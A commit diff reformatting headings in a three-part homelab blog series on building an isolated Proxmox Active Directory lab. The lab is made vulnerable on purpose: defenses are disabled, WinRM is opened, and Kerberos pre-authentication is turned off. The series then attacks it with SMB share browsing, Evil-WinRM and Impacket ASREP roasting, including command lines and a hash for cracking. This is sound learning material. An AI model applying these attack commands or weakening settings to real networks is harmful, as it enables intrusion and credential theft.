Changed markdown styling to fit TOC

Author: bytebl33d

blog/proxmox-homelab-part1.md

@@ -10,7 +10,7 @@ categories: ['Active-Directory', 'Homelab']
 
 In this post, I'll walk you through setting up my personal homelab - a project that serves both as a hands-on learning experience and as a future reference. While this documentation is partly a note to my future self, it's also a guide for anyone interested in gaining a deeper understanding of system administration, including networking, firewall configuration, and policy management. Ultimately, the goal is to create an environment where I can safely experiment with Active Directory (AD) misconfigurations and vulnerabilities, culminating in a simulated attack on my own lab.
 
-# Network Setup
+## Network Setup
 The backbone of this homelab is a segmented network architecture that isolates various virtual machines (VMs) from my home network using a firewall. We'll use pfSense as our firewall solution and Proxmox for managing the VMs. I’ll keep the initial setup straightforward, focusing on getting the basic system up and running. Here’s a schematic overview of the homelab architecture:
 
 ![Proxmox Setup](/assets/images/homelab/proxmox-homelab.png)
@@ -34,7 +34,7 @@ To ensure smooth operation, here’s what you’ll need:
 - 250GB of disk space
 - A bootable Proxmox VE drive (ISO)
 
-# Proxmox Setup
+## Proxmox Setup
 Installing Proxmox is relatively simple, so I’ll skip the step-by-step details but you can go ahead and follow their official [Getting Started](https://www.proxmox.com/en/products/proxmox-virtual-environment/get-started). After a successful installation, you should be able to access the login portal via the IP address you specified.
 
 ![login](/assets/images/homelab/proxmox-login.png)
@@ -47,7 +47,7 @@ For better organization, consider creating new pools for your networks. This can
 
 To upload ISOs to Proxmox go to `lab > local (lab) > ISO Images > Upload`.
 
-## Setting Up PfSense 
+### Setting Up PfSense 
 Download the [latest stable ISO](https://www.pfsense.org/download/) of pfSense and create a new VM in Proxmox by clicking the blue box in the top right corner. Select the uploaded pfSense ISO and proceed with the default settings.
 
 After creating the VM, assign it to our previously created bridge interfaces by going to `Hardware > Add Network Device` and selecting `vmbr1`. Repeat this process for `vmbr2` and `vmbr3`.
@@ -113,7 +113,7 @@ We do not setup DHCP as we will let the Domain Controller handle this for us lat
 
 After setting up pfSense, you can create new hosts and assign them the `vmbr1` NIC on the LAN. From any host on the `172.16.0.1/24` network, you can access the pfSense web interface for further configuration.
 
-### Configuring Firewall Rules
+#### Configuring Firewall Rules
 Let’s set up some basic firewall rules to control traffic between our networks and the outside world. Log into the pfSense dashboard using the credentials `admin:pfsense` and change the following settings during the setup process:
 - Step 2: Uncheck override DNS
 - Step 4: Uncheck the `Block private networks from entering via WAN` option. Because this is not a real WAN.
@@ -132,7 +132,7 @@ Next go to `Firewall > Aliases` and make a new alias with the following options:
 - Network 4: `169.254.0.0/16`
 - Network 5: `127.0.0.0/8`
 
-### WAN Rules
+#### WAN Rules
 Go to `Firewall > Rules > WAN > Add` and make a new rule with the following options:
 - Action: `Pass`
 - Address Family: `Ipv4`
@@ -143,7 +143,7 @@ Go to `Firewall > Rules > WAN > Add` and make a new rule with the following opti
 
 Replace the `<pfSense IP>` field with the real internal IP address of the pfSense VM (in my case `192.168.129.52`). This can be viewed at the start menu on the pfSense VM.
 
-### LAN Rules
+#### LAN Rules
 Go to `Firewall > Rules > LAN > Add` and make a new rule with the following options:
 - Action: `Block`
 - Address Family: `Ipv4+IPv6`
@@ -158,7 +158,7 @@ The final LAN configuration will look something like this:
 
 This makes sure that the internal networks behind the WAN cannot reach our home network. If you want to connect from a device on your home network, you can add another allow rule at the top for that specific IP.
 
-### Cyber Lab Rules
+#### Cyber Lab Rules
 Go to `Firewall > Rules > Cyber Lab > Add rule to end`:
 - Address Family: `IPv4+IPv6`
 - Protocol: `Any`
@@ -190,7 +190,7 @@ The final Cyber LAB configuration will look something like this:
 
 These rules ensure that devices in the Cyber Lab can communicate with each other, access the internet, and interact with the Attacker VM.
 
-### AD LAB Rules
+#### AD LAB Rules
 Go to `Firewall > Rules > AD Lab > Add rule to end`:
 - Action: `Block`
 - Address Family: `IPv4+IPv6`
@@ -221,5 +221,5 @@ This setup ensures that devices within the Active Directory domain can communica
 
 Now we need to restart pfSense to persist the firewall rules. From the navigation bar select `Diagnostics > Reboot`. Once pfSense boots up you will be redirected to the login page.
 
-# Conclusion
+## Conclusion
 Congratulations! You’ve successfully set up your firewall rules and segmented your network. The next step is to create virtual machines and add them to the appropriate network segments by selecting the correct bridge interface in Proxmox. In the following part of this series, we’ll configure the Active Directory environment and introduce common vulnerabilities for further experimentation.

blog/proxmox-homelab-part2.md

@@ -10,7 +10,7 @@ categories: ['Active-Directory', 'Homelab']
 
 In this post, we're diving into the setup of Windows virtual machines (VMs) in a Proxmox home lab, with the ultimate goal of building an Active Directory (AD) environment. This includes creating a Domain Controller that will also serve as the DHCP server for our AD Lab, and joining a Windows 10 host to the domain. By the end of this guide, you'll have a functional AD lab that you can use for learning, experimenting, and testing.
 
-# What You'll Need
+## What You'll Need
 To get started with setting up your Windows VMs and creating the AD Lab, make sure you have the following:
 - [Windows VirtIO Drivers](https://pve.proxmox.com/wiki/Windows_VirtIO_Drivers): Necessary for better performance and compatibility of Windows VMs in Proxmox.
 - [Windows Server 2022 ISO](https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022): For setting up the Domain Controller.
@@ -20,10 +20,10 @@ To get started with setting up your Windows VMs and creating the AD Lab, make su
 The ISOs typically have a lifespan of 90 to 180 days, but they can often be extended. To be safe, consider taking a snapshot of your VMs right after installation to revert back if needed.
 !!!
 
-# Setting Up the AD Lab
+## Setting Up the AD Lab
 We'll start by uploading the necessary ISOs to our Proxmox server. For this guide, we'll create two VMs: a Windows 10 machine and a Domain Controller. Since the setup for both is quite similar, we'll focus on the Domain Controller.
 
-## Step 1: Create the Domain Controller VM
+### Step 1: Create the Domain Controller VM
 Create a new Virtual Machine and select the Windows Server 2022 ISO image you downloaded. Check the box to add an additional drive for the VirtIO drivers and select the corresponding ISO image.
 
 ![DC-Setup-1](/assets/images/homelab/DC-setup.png)
@@ -44,14 +44,14 @@ Since this machine will serve as the DHCP server, it needs a static IP. Go to `C
 
 ![DC-Setup-4](/assets/images/homelab/DC-setup-4.png)
 
-## Step 2: Install Active Directory Domain Services
+### Step 2: Install Active Directory Domain Services
 Open Server Manager and select `Add roles and features`. Accept the default settings until you're prompted with the `Server Roles` section. Select `Active Directory Domain Services` and add the necessary features. Once it has installed successfully, select `Close`. I also installed the DNS and DHCP Server Features together with Active Directory Certificate Services, but this is optional.
 
 ![DC-Setup-ad-services](/assets/images/homelab/DC-setup-ad-services.gif)
 
 The next step is to promote the server to a domain controller. You will need to have the domain name you want to use in the next step. I will choose the domain name of `cicada.local`. To promote the server to a domain controller, click on the notification icon on the top section of the Server Manager program. Then select `Promote this server to a domain controller`. Select `Add a new forest` as this is a newly created AD environment. Enter the domain name in the root domain name field. Once the Windows Server has rebooted, you will see the login screen show the domain entered in the previous step.
 
-## Step 3: Create a Domain Admin Account
+### Step 3: Create a Domain Admin Account
 After logging in, open `Active Directory Users and Computers`. As I like to keep things organized, I will create a new group for all the user accounts. Right click on your domain and select `New > Organizational Unit` and name it `Groups`. Move all group related objects from the `Users` to the `Groups` folder. Right click on the `Users` folder and select `New > User`.
 
 ![DC-Setup-5](/assets/images/homelab/DC-setup-5.png)
@@ -62,7 +62,7 @@ Now we need to add the newly created account to the `Domain Admin` group. This c
 
 We can then logout of the Administrator account and login with our newly created domain account. Whenever we create a new user account, they are able to login with their credentials on any domain joined host.
 
-## Step 4: Configure the DHCP Server
+### Step 4: Configure the DHCP Server
 Go to `Server Manager > Add roles and Features`, select DHCP Server, and complete the installation. Once done, complete the DHCP configuration through the notifications in Server Manager.
 
 We then have to configure a DHCP scope. To do so, go to `Server Manager` once again. Then select `Tools > DHCP`. Expand the available options and then right click on IPv4 to create an IPv4 Scope. Set a name for the scope and give it a description if you wish to do so. Select `Next` and set the range to be somewhere inside the `172.16.200.1/24` network. I choose the starting IP to be `172.16.200.11` to give me some room in case I want to add some static IPs later. You can also exclude some IP addresses if you want to.
@@ -71,10 +71,10 @@ We then have to configure a DHCP scope. To do so, go to `Server Manager` once ag
 
 When prompted if you want to configure DHCP options for this scope now, choose `Yes`, then select `Next`. You will then be prompted to select the IP address for the default gateway. The IP address we gave our default gateway was `172.16.200.1`. Enter that and click on Add. Then select Next.
 
-## Add Windows 10 VM to Domain
+### Add Windows 10 VM to Domain
 Go through the initial setup wizard and login with the local account you created. The next step is to join the Windows 10 VM to the domain. To do so, open the `Settings` program and go to `Accounts > Access work or school > Connect`. In the pop out window, select the option `Join this device to a local Active Directory domain`. Enter the domain name we used to configure our Active Directory forest (I used cicada.local). You will then be prompted for a login.
 
 Windows 10 will restart after entering the credentials. After rebooting, you can now login to the domain by selecting Other User in the lower left corner.
 
-# Conclusion
+## Conclusion
 Congratulations! You now have a fully functioning Active Directory home lab. With your Domain Controller and Windows 10 VM set up, you’re ready to explore, experiment, and even simulate attacks to understand how AD environments operate and how they can be secured or compromised. In the next part, we’ll delve into common misconfigurations in Windows and Active Directory and explore how attackers might exploit them. Stay tuned!

blog/proxmox-homelab-part3.md

@@ -10,10 +10,10 @@ categories: ['Active-Directory', 'Homelab']
 
 We are now going to add some simple misconfigurations to our AD Lab. In the final section we will verify them by targeting our network from an outside Linux VM. To make the Active Directory Lab vulnerable we first need to change some settings.
 
-# Group Policy Configuration
+## Group Policy Configuration
 Open the `Start menu` and click on `Windows Administrative Tools`, then choose `Group Policy Management`. Expand `Forest` and `Domains`, to view your own domain.
 
-## Disable Windows Defender and Firewall
+### Disable Windows Defender and Firewall
 We can create a first GPO that will disable the Windows Defender Firewall so we can more easily experiment with attacks later on. Of course we could also disable (unlink) the policy later.
 
 !!!warning
@@ -36,7 +36,7 @@ Expand the sidebar folders to the following: `Computer Configuration > Policies
 
 Close Group Policy Management Editor. From the sidebar of Group Policy Management right-click on `Disable Protections` and choose `Enforced`.
 
-## Enable WinRM Server
+### Enable WinRM Server
 Right-click on your domain name. Select `Create a GPO in the domain and link here`. Give the GPO the name `Enable WinRM Server`. Right-click on it and choose `Edit`. Using the sidebar go to the following folder: `Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service`. Select `Allow remote server management through WinRM` and then click on `Edit policy settings`. Set the policy to `Enabled` and in the IPv4 filter field enter `*`. Click on `Apply` then `OK`.
 
 ![vulnerability-setup-4](/assets/images/homelab/vuln-setup-4.png)
@@ -73,14 +73,14 @@ SourceAddress       : 172.16.200.100
 TcpTestSucceeded    : True
 ```
 
-### Additional Registry Edit
+#### Additional Registry Edit
 I found that when applying the GPO to the domain, I was still not able to WinRM from a remote host. I found that enabling the WinRM service throught the Registry solved the issue. To do this go to `Computer Configuration > Preferences > Registry`. Right-click and select `New > Registry Item`. As the registry path select `HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WinRM\Service` and set the value of the IPv4Filter to `*` or whatever IP range you want to include.
 
 ![vulnerability-setup-7.1](/assets/images/homelab/vuln-setup-7.1.png)
 
-## Adding a Public File Share
+### Adding a Public File Share
 
-### Local Share
+#### Local Share
 Login as a local administator to one of your Windows VMs and navigate to `Control Panel > Network and Internet > Network and Sharing Center > Change Advanced sharing settings > Guest or Public > Turn on File and Printer sharing`.
 
 Next create a new folder, Right-click and go to `Properties > Sharing tab > Share` and give the `Everyone` user read permission.
@@ -95,22 +95,22 @@ In the same window go to `User Rights Assignment > Deny access to this computer
 
 ![vulnerability-setup-8](/assets/images/homelab/vuln-setup-8.1.png)
 
-## Enforce the Domain Policies
+### Enforce the Domain Policies
 Right-click on the Start menu and select Windows PowerShell (Admin).
 In the terminal enter the following:
 ```bash
 gpupdate /force
 ```
 Now whenever a new device joins our AD environment the Group Policies that apply to all the devices will automatically be applied to them. With this, we have completed the Domain Controller setup.
 
-# Account Misconfigurations
-## ASREP Roasting
+## Account Misconfigurations
+### ASREP Roasting
 In older versions of Kerberos, it was possible to allow authentication without a password. Since Kerberos 5, a password is required, which is called `Pre-Authentication`. If an account has the option `Do not require Kerberos preauthentication` checked, an attacker can send any request for authentication to the KDC to retrieve an encrypted TGT that can be brute-forced offline.
 
 ![asreproast-enable](/assets/images/homelab/vuln-setup-10.png)
 
-# Attacking our Environment
-## Browsing Public Shares
+## Attacking our Environment
+### Browsing Public Shares
 Lets start by checking if we can see any available shares on the network. I made one public share on the Windows VM with IP `172.16.200.11`. In Part 1 of this series we added an attacker VM to the AD network as our initial entry point that is whitelisted from the firewall. From this host, we should be able to list the share we made public.
 
 ```bash
@@ -141,7 +141,7 @@ Informational                       D        0  Tue Feb 20 12:06:19 2024
 smb: \> more flag.txt
 Br0wsing_F1L3_Sh4r3S_FTW!
 ```
-## Evil-WinRM
+### Evil-WinRM
 To verify that we can also WinRM to our Windows VMs I created a honeypot account called `winnie.wonder` with the password `P@ssw0rd123` and logged into `MS01` with this account. By default, PowerShell Remoting (and WinRM) only allows connections from members of the Administrators or Remote Management Group. To add our user to the Built-In Remote Management Users run:
 ```bash
 PS C:/> net localgroup "Remote Management Users" /add winnie.wonder
@@ -166,7 +166,7 @@ Info: Establishing connection to remote endpoint
 cicada\winnie.wonder
 ```
 
-## ASREPRoasting
+### ASREPRoasting
 Assuming we have gathered a list of valid users, we can try to perform an ASREPRoast attack on the domain users to see if any account has the `Do not require Kerberos preauthentication` option set. With a valid list of users, we can use [Get-NPUsers.py](https://github.com/fortra/impacket/blob/master/examples/GetNPUsers.py) from the Impacket toolkit to hunt for all users with Kerberos pre-authentication not required.
 ```bash
 GetNPUsers.py CICADA.LOCAL/ -dc-ip 172.16.200.100 -no-pass -usersfile valid_users -format hashcat
@@ -180,5 +180,5 @@ $krb5asrep$23$winnie.wonder@CICADA.LOCAL:ab15aee9c9bd66ee5a0c56e4a30395b9$d030a2
 
 Look like we got a valid hash for the user `winnie.wonder`. We can crack the hashes offline using Hashcat with mode `18200` to find the password.
 
-# Conclusion
+## Conclusion
 The possible attack surface in an AD environment is very large so we just introduced a few misconfigurations in our home lab. We also went over on how an outsider can find these flaws to possible gain a foothold on one of our systems. In the next part of this series we will look at how we can monitor and defend against these attacks.